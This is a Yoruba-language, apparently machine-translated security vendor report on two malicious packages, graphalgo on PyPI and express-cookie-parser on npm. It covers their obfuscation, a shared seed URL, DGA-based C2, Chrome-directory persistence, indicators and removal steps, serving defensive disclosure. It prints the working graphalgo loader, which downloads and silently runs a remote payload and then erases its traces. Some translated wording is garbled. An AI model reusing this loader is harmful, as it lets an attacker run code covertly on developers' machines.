Láìpẹ́ yìí, Xygeni ṣàkíyèsí àpẹẹrẹ kan tó ń bani nínú jẹ́ nínú àwọn ìkọlù ẹ̀rọ ìpèsè sọ́fítíwè ní ọdún 2025., tí ó ń yọjú sí àwọn olùṣàkóso package méjì tí ó gbajúmọ̀: P&PI ati npmGẹ́gẹ́ bí apá kan nínú àwọn ìsapá wa láti mọ ewu,Ìkìlọ̀ Àkọ́kọ́ nípa Malware Xygeni (MEW) irinṣẹ ṣàfihàn àpẹẹrẹ kan pàtó ṣùgbọ́n tí ó jọra ní ọ̀nà tí a gbà gbé sórí ìforúkọsílẹ̀ mìíràn tẹ́lẹ̀. Ọ̀ràn yìí ṣe àfihàn bí àwọn olùṣe ewu ṣe ń yí padà tí wọ́n sì ń tún lo àwọn ọ̀nà ìkọlù káàkiri àwọn ètò àyíká, pàápàá jùlọ nípasẹ̀ Àwọn àkójọ Python búburú ati awọn package npm irira, èyí tí ó mú kí ewu àwọn páálí ìkà wọ inú àwọn ẹ̀wọ̀n ìpèsè orísun ṣíṣí.
MEW Xygeni: Ṣíṣàyẹ̀wò Àwọn Ìjọ́ra
A ṣe ohun èlò MEW ti Xygeni láti ṣàwárí àti láti fi àmì sí àwọn ìdìpọ̀ búburú, pàápàá jùlọ àwọn tí ó ní í ṣe pẹ̀lú Àwọn Ìkọlù Ẹ̀rọ Ìpèsè Softwarẹ ní ọdún 2025, ní kété tí a bá tẹ̀ wọ́n jáde sí àwọn ìforúkọsílẹ̀ orísun ṣíṣí sílẹ̀. Ó ń ṣiṣẹ́ nípa ṣíṣe àyẹ̀wò àwọn ìdìpọ̀ tuntun fún ìwà tí ó fura sí wọn.
Nínú ọ̀ràn yìí, ó ti rí méjì lára àwọn wọ̀nyí Àwọn àkójọ Python búburú (graphalgo lórí PyPI) àti awọn package npm irira (express-cookie-parser ní npm).
Àwọn ìdìpọ̀ Python àti npm búburú nínú Àwọn Ìkọlù Ìpèsè Softwarẹ (2025)
Ẹ jẹ́ kí a ṣe àwárí àwọn ànímọ́ tí a pín tí ó fa àwọn ìkìlọ̀ wa:
Ipilẹṣẹ
Àwọn méjèèjì gbìyànjú láti ṣe àfarawé àwọn páálí tí ó gbajúmọ̀ tí ó wà tẹ́lẹ̀.
- graphalgo (PyPI): "Àkójọpọ̀ Python fún ṣíṣẹ̀dá àti ṣíṣàtúnṣe àwọn àwòrán àti àwọn nẹ́tíwọ́ọ̀kì."Olùlò kan tí orúkọ rẹ̀ ń jẹ́ Lo “Larrytech” Ní ọjọ́ kẹtàlá oṣù kẹfà, ọdún 2025, àpò yìí gbé ara rẹ̀ kalẹ̀ gẹ́gẹ́ bí àyípadà PyPi sí iṣẹ́ graphalgo tí kìí ṣe ibi, èyí tí a yí orúkọ rẹ̀ padà sí graphdict lẹ́yìn náà.
- express-cookie-parser (npm)Àpò yìí fara wé àpò ìṣàyẹ̀wò kúkì tí a mọ̀ dáadáa, kódà ó tún ṣe àwòkọ rẹ̀ README.md. Irú àfarawé bẹ́ẹ̀ jẹ́ ọgbọ́n àtọwọ́dọ́wọ́ láti lo ìgbẹ́kẹ̀lé tó wà tẹ́lẹ̀.
Ìpalára gẹ́gẹ́ bí Ìlà Àkọ́kọ́ ti Ìgbèjà
Àwọn ìdìpọ̀ méjèèjì bo koodu búburú wọn mọ́ inú àwọn fáìlì àtilẹ̀wá. graphalgo, a rí kódù tí a bò mọ́lẹ̀ nínú /utils/load_libraries.py. Boya a le olùṣàyẹ̀wò kúkì-kíkì-kíkìkí, cookie-loader.min.js ó ní ẹrù tí ó bò mọ́lẹ̀.
A sábà máa ń lo ìpele ìdènà ìdènà yìí láti dènà àyẹ̀wò lásán àti ìwádìí àìdúró. Ìdènà ìdènà náà rọrùn díẹ̀: ìfúnpọ̀ ZLib tí a tún ṣe pẹ̀lú ìfipamọ́ Base64. Irú ìdènà ìdènà yìí fi hàn kedere pé sọ́fítíwọ́ọ̀kì náà ń gbìyànjú láti fi ìwà rẹ̀ pamọ́. Pẹ̀lú àwọn ẹ̀rí mìíràn, èyí mú kí Xygeni MEW pín àwọn ìdìpọ̀ náà sí malware tí ó ṣeé ṣe. Nígbà ìpele ìjẹ́rìísí, àwọn atúnyẹ̀wò wa yára ṣe ìwé ìkọ̀kọ̀ ìdènà ìdènà tí ó fi ìpele ìdènà ìkà hàn.
Ifijiṣẹ Ipese Owo-ori Ipele-pupọ ati Aaye Ibẹrẹ Pipin
Àwọn ìdìpọ̀ méjèèjì ṣiṣẹ́ gẹ́gẹ́ bí ìbẹ̀rẹ̀ “awọn olutọpa“,” wọ́n ṣètò ìpele fún ẹrù gidi náà. Wọ́n pín ìta kan náà “irugbin"URL fáìlì:https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
Fáìlì irúgbìn tó jọra yìí jẹ́ àmì tó lágbára láti fi hàn pé ẹni tó ń ṣe ewu pọ̀. Ohun tó yani lẹ́nu ni pé, àkóónú fáìlì irúgbìn yìí dà bí àwọn ohun tó rọrùn láti yí padà sí àyíká (fún àpẹẹrẹ, JWT_SECRET, PORT), èyí tó lè jẹ́ kí wọ́n máa ṣe àyẹ̀wò iṣẹ́ wọn ní gidi.
Ìpinnu C2 oníyípadà pẹ̀lú DGA kan
Ọgbọ́n ọgbọ́n kan tí a rí nínú àwọn àkójọ ìkà wọ̀nyí ni lílo Àlàyé Ìran Àgbègbè (DGA) láti yanjú olupin Command and Control (C2) ní ọ̀nà tí ó yípadà. Ọ̀nà yìí, tí a sábà máa ń rí nínú àwọn ìkọlù ẹ̀rọ ìpèsè software tí ó ti lọ síwájú ní ọdún 2025, gbẹ́kẹ̀lé hash SHA256 tí a yọ láti inú àkóónú fáìlì irugbin, pẹ̀lú àwọn iye onípele mìíràn tí a ti fi àmì sí. Nípa ṣíṣe bẹ́ẹ̀, ètò ìṣiṣẹ́ C2 máa ń yípadà nígbà gbogbo, èyí tí ó mú kí ìṣàkójọpọ̀ àwọn ohun èlò ìbílẹ̀ má ṣiṣẹ́ dáadáa. Nínú ọ̀ràn yìí, ìyàtọ̀ npm lo iye tí a ti fi ìdí múlẹ̀ ti 496AAC7E gẹ́gẹ́ bí ara ìlànà DGA rẹ̀.
Igbekale itẹramọṣẹ
Àwọn olùkọlù méjèèjì gbìyànjú láti fi ìdí múlẹ̀ pé àwọn ẹ̀rọ tí ó ní ipa náà yóò wà títí láé. Ọgbọ́n wọn ni pé kí wọ́n ju fáìlì kan sílẹ̀. startup.py (fún PyPi) tàbí startup.js (fún npm), sínú àwọn ìwé àkójọpọ̀ ìtọ́sọ́nà àwọn olùlò Google Chrome tí wọ́n wọ́pọ̀ lórí onírúurú ètò ìṣiṣẹ́ (Windows, Linux, macOS).
Ìmọ́tótó Lẹ́yìn Ìṣẹ̀lẹ̀
Láti dín àwọn àmì kù, àwọn ìwé ìkọ̀wé búburú méjèèjì ṣe iṣẹ́ ìwẹ̀nùmọ́. Èyí pẹ̀lú pípa àwọn fáìlì ìfàsẹ́yìn àkọ́kọ́ wọn (load_libraries.py, cookie-loader.min.js) àti àtúnṣe àwọn fáìlì package tó tọ́ (__init__.py, index.js) láti yọ àwọn ìtọ́kasí sí àwọn èròjà tí a ti parẹ́ báyìí kúrò.
Àwọn Àmì Ìbáramu Nínú Àwọn Páákì Python Ìkà àti NPM
- Àpò PyPI: graphalgo (tí larrytech tẹ̀ jáde ní ọjọ́ kẹtàlá Okudu kẹfà, ọdún 2025)
- Àpò npm: express-cookie-parser (ní pàtàkì ẹ̀yà 1.4.12)
- Wíwọlé sí URL Irúgbìn Pínpín:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
- Àwọn Orúkọ Fáìlì Tí Ó Dára Déédé:
startup.py(Python)startup.js(JavaScript) - Àwọn ipa ọ̀nà tí ó wọ́pọ̀ (tí ó sinmi lórí OS): Nínú àwọn ìwé àkójọpọ̀ ìtọ́sọ́nà àwọn olùlò Google Chrome (fún àpẹẹrẹ,
AppData\Local\Google\Chrome\UserData\Scripts\lori Windows,~/.config/google-chrome/Scripts/lórí Linux, àti bẹ́ẹ̀ bẹ́ẹ̀ lọ).
Bí a ṣe lè gbèjà ara wa lòdì sí àwọn àpò ìbàjẹ́ nínú ìkọlù ẹ̀rọ ìpèsè sọ́fítíwètì 2025
Ọ̀nà tí a dámọ̀ràn fún àwọn olùgbékalẹ̀
Ìṣẹ̀lẹ̀ yìí jẹ́ àpẹẹrẹ pàtàkì nínú ìtànkálẹ̀ ewu tó ń gbilẹ̀ nígbà tí àwọn ìkọlù ẹ̀rọ ìpèsè software bá ń wáyé ní ọdún 2025. Ó tẹnu mọ́ bí àwọn páálí Python búburú àti àwọn páálí npm búburú ṣe lè wọ inú àwọn ètò ìṣẹ̀dá tí a gbẹ́kẹ̀lé, tí wọ́n sábà máa ń sá fún wíwá nǹkan títí tí yóò fi pẹ́ jù. Ìdí nìyẹn tí wíwá nǹkan ní kùtùkùtù, ṣíṣe ohun èlò ọlọ́gbọ́n, àti ìmọ́tótó ètò ìṣiṣẹ́ ti di apá pàtàkì nínú gbogbo iṣẹ́ DevOps tí ó ní ààbò. A gba àwọn olùgbékalẹ̀ níyànjú láti ronú nípa àwọn wọ̀nyí:
Àtúnyẹ̀wò Ìgbẹ́kẹ̀lé
Tí àwọn iṣẹ́ rẹ bá ti ní nínú graphalgo or olùṣàyẹ̀wò kúkì-kíkì-kíkìkí, yóò jẹ́ ọgbọ́n láti tẹ̀síwájú pẹ̀lú yíyọ wọ́n kúrò.
- Fún PyPI:
pip uninstall graphalgo - Fún npm:
npm uninstall express-cookie-parser
Ìmọ́tótó Ètò
Ronú nípa ṣíṣe àyẹ̀wò gbogbogbòò nípa ètò náà. Ó tún dára láti fi ọwọ́ ṣe àyẹ̀wò àwọn ipa ọ̀nà ìtọ́sọ́nà ìtọ́sọ́nà àwọn olùlò Chrome fún èyíkéyìí àìròtẹ́lẹ̀ startup.py or startup.js awọn faili.
Awọn wiwọn Aabo Aabo
- Ṣe ayẹwo Awọn Igbẹkẹle Tuntun: Ṣe àgbékalẹ̀ ìlànà láti ṣe àyẹ̀wò àwọn ìdìpọ̀ tuntun dáadáa kí a tó so wọ́n pọ̀, kí a sì dojúkọ àwọn tí a kò mọ̀.
- Ṣọpọ Awọn Irinṣẹ AaboÀwọn irinṣẹ́ bíi Xygeni's MEW, pẹ̀lú àwọn ìwádìí ìṣètò sọ́fítíwè mìíràn (SCA) awọn ojutu, le pese ipele aabo pataki nipa dida awọn iwa ati awọn ailagbara ti o fura si.
- Àǹfààní Kekere: Awọn agbegbe idagbasoke iṣiṣẹ pẹlu ilana ti o kere julọ le ṣe iranlọwọ lati dinku ipa ti o ṣeeṣe ti adehun kan.
- Imoye Nẹtiwọọki: Ṣíṣe àkíyèsí ìjáde àwọn nẹ́tíwọ́ọ̀kì tí ń jáde fún àwọn ìsopọ̀ tí kò wọ́pọ̀ lè fi àwọn ìbánisọ̀rọ̀ C2 tí DGA ṣe hàn nígbà míì.
Key irinše ti load_libraries.py (láti inú graphalgo)
import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request
url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()
python_path = sys.executable
def download_remote_content(url, output_path):
try:
req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
with urlopen(req) as response, open(output_path, "wb") as out_file:
if response.status != 200:
print(f"Failed to download the file. Status code: {response.status}")
return False
data = response.read()
out_file.write(data)
return True
except Exception as e:
print(f"Download failed: {e}")
return False
def run_process(path_to_script, params=[]):
if sys.platform.startswith("win"):
creationflags = subprocess.CREATE_NO_WINDOW
subprocess.Popen(
[sys.executable, path_to_script, *params],
creationflags=creationflags,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
else:
subprocess.Popen(
[sys.executable, path_to_script, *params],
start_new_session=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
close_fds=True
)
def get_output_file_path():
py_file_path = None
home_dir = os.path.expanduser("~")
platform = os.sys.platform
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config", "google-chrome")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")
if not os.path.exists(py_file_path):
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support")
# Ensure base directory exists
os.makedirs(py_file_path, exist_ok=True)
script_path = os.path.join(py_file_path, "Scripts")
os.makedirs(script_path, exist_ok=True)
py_file_path = os.path.join(script_path, "startup.py")
return py_file_path
def remove_self():
# Remove this script file
os.remove(__file__)
# Remove \'graph_settings.py\' in the same directory
graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
if os.path.exists(graph_settings_path):
os.remove(graph_settings_path)
# Modify \'../classes/digraph.py\' if it exists
graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
graph_file_path = os.path.abspath(graph_file_path) # Normalize path
init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
init_file_path = os.path.abspath(init_file_path) # Normalize path
# replace content of the __init__.py file
if os.path.exists(init_file_path):
with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("from networkx.utils.graph_settings import *", "") \\
.replace("from networkx.utils.load_libraries import *", "")
with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
# replace content of the __init__.py file
if os.path.exists(graph_file_path):
with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\
with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
def simple_shift_encrypt(text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])
return base64.encode(encrypted_bytes).decode()
def simple_shift_decrypt(encoded_text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = base64.b64decode(encoded_text)
decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])
return decrypted
def load_libraries(key):
max_retry_count = 3
output_file_path = get_output_file_path()
encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"
for _ in range(max_retry_count):
if not download_remote_content(remove_url, output_file_path):
time.sleep(2)
continue
download_url = ""
with open(output_file_path, "rb") as f:
file_content = f.read()
sha256_hash = hashlib.sha256()
sha256_hash.update(file_content + key.encode())
password = sha256_hash.digest()
download_url = simple_shift_decrypt(encoded, password)
if not download_url or not download_remote_content(download_url, output_file_path):
time.sleep(2)
continue
os.chmod(output_file_path, 0o755)
run_process(output_file_path)
time.sleep(1)
remove_self()
break
if __name__ == "__main__":
if len(sys.argv) >= 2:
load_libraries(sys.argv[1])
download_remote_content(): Ó ń ṣe àkóso gbígbà àwọn fáìlì láti àwọn URL pàtó kan.run_process(): Ó ń ṣe àwọn ìwé àfọwọ́kọ Python òde ní ọ̀nà tí ó yàtọ̀ síra, ó sì ń dín ìjáde kù láti wà ní ìkọ̀kọ̀.get_output_file_path(): Ó ń pinnu ibi tí ètò náà wà fún fáìlì startup.py tó ń dúró pẹ́.remove_self(): Ó ń ṣètò ìwẹ̀nùmọ́ lẹ́yìn ìpalẹ̀mọ́ àwọn fáìlì búburú àkọ́kọ́ àti àwọn àtúnṣe àkójọpọ̀.simple_shift_encrypt()/simple_shift_decrypt(): Awọn iṣẹ apanilerin aṣa fun fifi awọn ikanni ibaraẹnisọrọ pamọ, pataki fun imuse DGA.load_libraries(): Iṣẹ́ pàtàkì tí ó ń ṣe àkóso gbogbo ìlànà onípele-pupọ, láti ìgbà tí a kọ́kọ́ gbà á sí ìgbà tí a parí iṣẹ́ àti ìfọmọ́.
Atilẹyin
Gẹ́gẹ́ bí ó ti rí pẹ̀lú àwọn ìdìpọ̀ mìíràn tí ó lè jẹ́ ìbàjẹ́ tí MEW dámọ̀, ogiriina ìgbẹ́kẹ̀lé náà dáàbò bo àwọn olùlò tí wọ́n bá fi àwọn ìdìpọ̀ ìbàjẹ́ wọ̀nyí sínú àwọn ìgbẹ́kẹ̀lé wọn lẹ́sẹ̀kẹsẹ̀. Lẹ́yìn ìfìdí múlẹ̀, a tẹ̀lé àwọn ìlànà ìfitónilétí fún àwọn ìforúkọsílẹ̀ méjèèjì, èyí tí lẹ́yìn àtúnyẹ̀wò, yọ àwọn ìdìpọ̀ méjèèjì kúrò.







